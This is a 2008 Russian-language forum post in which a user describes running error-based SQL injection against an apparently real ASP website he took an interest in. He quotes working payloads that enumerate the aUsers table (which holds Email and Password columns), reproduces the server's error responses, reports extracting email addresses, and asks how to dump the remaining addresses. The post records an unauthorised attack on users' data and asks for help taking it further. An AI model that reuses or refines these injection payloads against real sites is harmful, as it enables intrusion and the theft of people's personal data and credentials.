Показать сообщение отдельно

Чтение данных с MsSql
  #1  
Старый 25.02.2008, 14:15
constanta
Познающий
Регистрация: 19.09.2007
Сообщений: 38
С нами: 9813214

Репутация: 2
По умолчанию Чтение данных с MsSql

Уважаемые Гуру, начал изучать не так давно mssql и столкнулся на одном, очень интересном для меня, ресурсе вот с такой бедой :

Прочитал из базы все таблицы и имена всех колонок из интересующих меня таблиц.

В результате имеем таблицу
aUsers и колонки в ней

Email
EventUser
LastLogon
LogOns
Name
Notes
Password
UserID
UserName


Попробывал прочитать интересующую меня колонку
Emai вот таким способом

Цитата:
1+or+1=(SELECT+TOP+1+email+from+aUsers)
Получил

Цитата:
ADODB.Parameter error '800a0d5d'

Application uses a value of the wrong type for the current operation.

/duich/events/List.asp, line 185
Перестроил запрос на вот так

Цитата:
1+or+1=(SELECT+TOP+1+email+from+INFORMATION_SCHEMA .COLUMNS+WHERE+TABLE_NAME='aUsers'+AND+COLUMN_NAME ='email')
Получил 1 мыло. Дальше пытался в конце добавить + where+userid={какое то значение}

получил синтаксическую ошибку. Я так понимаю что 2 раза where не катит. Хорошо сделал вот так

Цитата:
1+or+1=(SELECT+max(email)+from+aUsers)
Получал опять какое то мыло.

ВОПРОС!!! КАк можно просмотреть дальше список емайлов если
Цитата:
1+or+1=(SELECT+TOP+1+email+from+aUsers)
не работает.

Прошу прощения что так длинно все это описал. Хотел просто что бы вы видели мои действия.

З.Ы Хочу выразить отдельную благодарность Cash за его статью про MsSql. Спасибо огромное!!!!

Последний раз редактировалось constanta; 25.02.2008 в 14:23..
 
Ответить с цитированием